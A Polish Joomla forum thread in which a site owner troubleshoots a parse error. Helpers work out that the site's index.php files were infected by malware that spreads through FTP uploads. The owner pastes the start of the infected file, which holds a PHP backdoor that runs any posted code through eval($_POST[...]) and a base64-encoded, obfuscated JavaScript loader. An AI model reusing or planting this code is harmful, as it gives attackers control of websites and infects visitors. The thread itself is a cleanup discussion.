problem

[duffi87]

Witam

byłem na ukończeniu strony a tu wyswietliło sie cos takiego :

Parse error: syntax error, unexpected ')' in /index.php on line 1


pomozecie rozwiazać problem ??

pozdrawiam

[trzepiz]

Sprawdz czy w kodzie strony nie ma jakiegos podejrzanego wpisu .. możliwe że to wirus ..

albo podaj adres strony podejrzymy źródło i może się coś wymyśli ...

[duffi87]

www.sklepsmyk.pl

[trzepiz]

potrzebna będzie zawartość tego pliku index.php .. : niestety strona zupelnie nie startuje - ( czego nie przemyślałem pisząc, podaj adres strony )

[duffi87]

index.php jest zadługi aby tu wkleic

[Bazyl]

Może przypadkiem jest za dużo o jeden nawias?
Początek pliku możesz wkleić.

[duffi87]

?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCd3UyU zQzNPRXNvQWMwVHIwVGlwa0F0JTIwMFRzd1NyYyUzRDNPRSUyR iUyRjRZMzk0OXB2JTJFd1Mya0E0NyUyRTJmcCUyRXdTMTV0Nzk 1dDc1b0ElMkZqa0FxM09FdTBUZW9BcmZweTRZMyUyRWpza0ElM 0VvQSUzQzNPRSUyRnNvQWM5cHZyaWZwcHQlM0UnKS5yZXBsYWN lKC8zT0V8MFR8b0F8NXQ3fHdTfDlwdnxrQXw0WTN8ZnAvZywiI ikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)***********#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'', $s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument

[duffi87]

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCd3UyU zQzNPRXNvQWMwVHIwVGlwa0F0JTIwMFRzd1NyYyUzRDNPRSUyR iUyRjRZMzk0OXB2JTJFd1Mya0E0NyUyRTJmcCUyRXdTMTV0Nzk 1dDc1b0ElMkZqa0FxM09FdTBUZW9BcmZweTRZMyUyRWpza0ElM 0VvQSUzQzNPRSUyRnNvQWM5cHZyaWZwcHQlM0UnKS5yZXBsYWN lKC8zT0V8MFR8b0F8NXQ3fHdTfDlwdnxrQXw0WTN8ZnAvZywiI ikpOwogLS0+PC9zY3JpcHQ+'));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139)));$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)***********#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'', $s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument

[Bazyl]

Robal

[trzepiz]

base64_decode -- Dekoduje dane zakodowane algorytmem MIME base64...

nie wygląda to dobrze ... tak czy inaczej przydałby się pliczek cały do sprawdzenia ..

PS: .. zobacz czy na innej templatce masz tak samo .. jeśli nie .. - wina templatki .. ( być może )

jeśli na innej templatce będzie to samo .. lub znajdziesz w jej index.php podobny kod .. oznaczać to może doklejenie kodu przez jakiegos wirusa .. czy inne paskudztwo .. (moze jakis hakier :) )

[duffi87]

usunięte! zawirusowana strona

tyle ze :

Fatal error: require_once() [function.require (http://www.sklepsmyk.pl/administrator/function.require)]: Failed opening required '/sklepsmyk/includes/version.php' (include_path='.:/:/usr/php/pear') in /includes/joomla.php on line 71

:)

[trzepiz]

masz zainfekowaną stronę :

dodałem ten string do dekodowania :



<?php
$str = 'PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCd3UyU zQzNPRXNvQWMwVHIwVGlwa0F0JTIwMFRzd1NyYyUzRDNPRSUyR iUyRjRZMzk0OXB2JTJFd1Mya0E0NyUyRTJmcCUyRXdTMTV0Nzk 1dDc1b0ElMkZqa0FxM09FdTBUZW9BcmZweTRZMyUyRWpza0ElM 0VvQSUzQzNPRSUyRnNvQWM5cHZyaWZwcHQlM0UnKS5yZXBsYWN lKC8zT0V8MFR8b0F8NXQ3fHdTfDlwdnxrQXw0WTN8ZnAvZywiI ikpOwogLS0+PC9zY3JpcHQ+';
echo base64_decode($str);
?> sprawdziłem u siebie na testowym pliku php .. Avast zgłasza niebezpieczne oprogramowanie ktore chce sie zainstalować ..

Koniecznie sprawdz dokladnie komputer czy nie masz jakiegos zlosliwego oprogramowania ..

[duffi87]

to niedobrze. a jak teraz uratowac te stronę ??

[big_krzysiek]

zlapales "to cos" co dokleja sie do plikow index ...przy przesylaniu ftp-em
masz zarazony chyba kazdy plik index..
wszedlem na kilka i antywirus blokuje trojana...

na poczatek przeskanuj porzadnie swoj komp , a pozniej jak masz dostep przez ftp-a nadpisz pliki index.php , powinienes uzyskac dostep do PA...

pozniej postap jak z zarazona strona...jest o tym na forum...

[duffi87]

kurcze nie moge tego znalesc. mozesz podac link gdzie to jest ?? kompa mam czystego napewno. Jak mam teraz nadpisac index.php ???

pozdrawiam

[big_krzysiek]

np tutaj (http://forum.joomla.pl/showthread.php?t=26394&highlight=index.php+index.html), tutaj (http://forum.joomla.pl/showthread.php?t=27400&highlight=index.php+index.html), tutaj (http://forum.joomla.pl/showthread.php?t=25702&highlight=index.php+index.html) i jeszcze w kilku innych miejscach....
a jak nadpisac?...wgrac jeszcze raz pliki index.php z instalki...